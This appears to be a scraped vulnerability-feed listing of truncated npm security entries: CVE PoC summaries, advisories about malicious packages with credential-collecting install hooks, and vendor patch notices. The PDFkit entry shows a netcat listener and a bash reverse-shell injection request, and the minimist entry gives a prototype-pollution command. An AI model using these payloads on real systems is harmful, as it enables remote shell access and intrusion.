CVE-2024-21533-PoC-ggit

CVE-2024-21533 ggit 中的参数注入漏洞 ggit 这样描述自己： root@kitploit: Local promise-returning git command wrappers 资源： 项目的 GitHub 源代码：https://github.com/bahmutov/ggit 项目的 npm 包：https://www.npmjs.com/package/ggit...

CVE-2021-44906

CVE-2021-44906 原出处：https://github.com/Marynk/JavaScript-vulnerability-detection/blob/main/minimist%20PoC.zip 运行 root@kitploit: npm run hack 然后你会看到任意函数的 done 属性被改为 true。 命令行 node index.js --.concat.constructor.prototype.done true 的解释： -- 是命令行参数中常用的连字符标记。 是 minimist...

CVE-2023-45827

CVE-2023-45827 漏洞概述 CVE-2023-45827 CVSS : 9.8 Nov 3, 2023 ProtoType Pollution in node.js package 作为 rebob 项目的一部分 漏洞描述 github advisories 这是 dot-diver 中的一个原型污染PP漏洞。它可能导致 RCE。 漏洞代码 root@kitploit: //https://github.com/clickbar/dot-diver/tree/main/src/index.ts:277 //eslint-disable-next-line...

ReactNext2Shell

es-define-property Object.defineProperty, but not IE 8's broken one...

lodash.template-fixed

lodash.template v4.5.0 Lodash 方法 .template 导出为 Node.js 模块。 安装 使用 npm： root@kitploit: $ sudo -H npm i -g npm $ npm i --save lodash.template 在 Node.js 中： root@kitploit: var template = require'lodash.template'; 更多详情请参阅文档或包源码。...

PDFkit-CMD-Injection

PDFkit-命令注入 CVE-2022-25765 详情 描述 pdfkit 包从 0.0.0 版本起存在命令注入漏洞，原因是 URL 未被正确清理。 PoC 启动 HTTP 服务器 root@kitploit: 1- python3 -m http.server 80 启动 netcat 监听器 root@kitploit: 2- nc -lnvp 'Target Port' 发起请求 root@kitploit: 3- http://"TARGETADDRESS:Target PORT"//?name='%20bash -c 'exec bash -i...

MAL-2026-16140 Malicious code in tracker-cloudflare (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 55b5bacf5779f1a1fa161ee38acbf61fda0dc18b3d0fe35213e2b0dc230c06e4 The package's preinstall hook runs node index.js, which collects host identifiers os.hostname, os.userInfo, homedir, DNS servers, cwd along with the...

NPM: FrontMCP and mcp-from-openapi have bypass of OpenAPI external $ref SSRF fix

NPM: FrontMCP and mcp-from-openapi have bypass of OpenAPI external $ref SSRF fix vulnerability discovered by ? in WordPress Npm mcp-from-openapi versions = 2.3.0, 2.5.0...

cve-2025-12735-expr-eval-rce

CVE-2025-12735 expr-eval RCE 漏洞利用工具 一个用于检测和测试 expr-eval 与 expr-eval-fork npm 包中 CVE-2025-12735 漏洞的安全研究工具。 ⚠️ 免责声明 本工具仅用于授权的安全测试和教育目的 。未经授权访问计算机系统是违法的。请仅在你拥有或已获得明确书面测试许可的系统上使用本工具。 📋 概述 CVE-2025-12735 是 expr-eval 和 expr-eval-fork npm 包中的一个严重远程代码执行漏洞。该漏洞允许攻击者在解析器使用的 context 对象内定义任意函数，从而注入执行系统级命令的恶意代码...

ROOT-APP-NPM-CVE-2024-56332 CVE-2024-56332 in next - Patched by Root

Root has patched CVE-2024-56332 in the next package for Root:npm. Multiple fixed versions available...

revera

Revera La calificación crediticia de los paquetes npm. Revera te ayuda a decidir si vale la pena instalar un paquete antes de ejecutar npm install. Analiza la calidad del paquete, el mantenimiento, la seguridad, la salud del ecosistema y la confianza del publicador — y ahora propaga el riesgo de...

ROOT-APP-NPM-CVE-2026-67214 CVE-2026-67214 in nanoid - Patched by Root

Root has patched CVE-2026-67214 in the nanoid package for Root:npm. Multiple fixed versions available...

ROOT-APP-NPM-CVE-2026-73086 CVE-2026-73086 in nanoid - Patched by Root

Root has patched CVE-2026-73086 in the nanoid package for Root:npm. Multiple fixed versions available...

ROOT-APP-NPM-CVE-2021-32640 CVE-2021-32640 in ws - Patched by Root

Root has patched CVE-2021-32640 in the ws package for Root:npm. Multiple fixed versions available...

egg-scripts-CVE-2018-3786

egg-scripts 用于 egg 项目的部署工具。 注意：Windows 部分支持，详见22 安装 root@kitploit: $ npm i egg-scripts --save 使用 将 eggctl 添加到 package.json 的 scripts 中： root@kitploit: "scripts": "start": "eggctl start --daemon", "stop": "eggctl stop" 然后执行： npm start npm stop 注意： 不建议全局安装 egg-scripts，应将其作为 npm scripts 安装并使用。 命令...

ROOT-APP-NPM-GHSA-5C6J-R48X-RMVQ GHSA-5c6j-r48x-rmvq in serialize-javascript - Patched by Root

Root has patched GHSA-5c6j-r48x-rmvq in the serialize-javascript package for Root:npm. Multiple fixed versions available...

Malicious code in strapi-plugin-vinsoc-1109 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4dbb0aa83cfffbdd408abb8f73299d5a47a0e9855c65b5940bb22112e0928d41 The package's postinstall lifecycle script node postinstall.js || true fires automatically on npm install. postinstall.js reads os.hostname, embeds t...

NPM: OmniRoute ACP Custom-Agent Remote Code Execution (RCE)

NPM: OmniRoute ACP Custom-Agent Remote Code Execution RCE vulnerability discovered by ? in WordPress Npm omniroute versions = 3.8.50...

NPM: n8n: Per-Resource OAuth Consent Bypass via Unbound Refresh Token Resource Substitution

NPM: n8n: Per-Resource OAuth Consent Bypass via Unbound Refresh Token Resource Substitution vulnerability discovered by ? in WordPress Npm n8n versions 2.37.7...

NPM: n8n: Prototype Pollution via Workflow Structure Summary Can Lead to Denial of Service

NPM: n8n: Prototype Pollution via Workflow Structure Summary Can Lead to Denial of Service vulnerability discovered by ? in WordPress Npm n8n versions 2.37.7...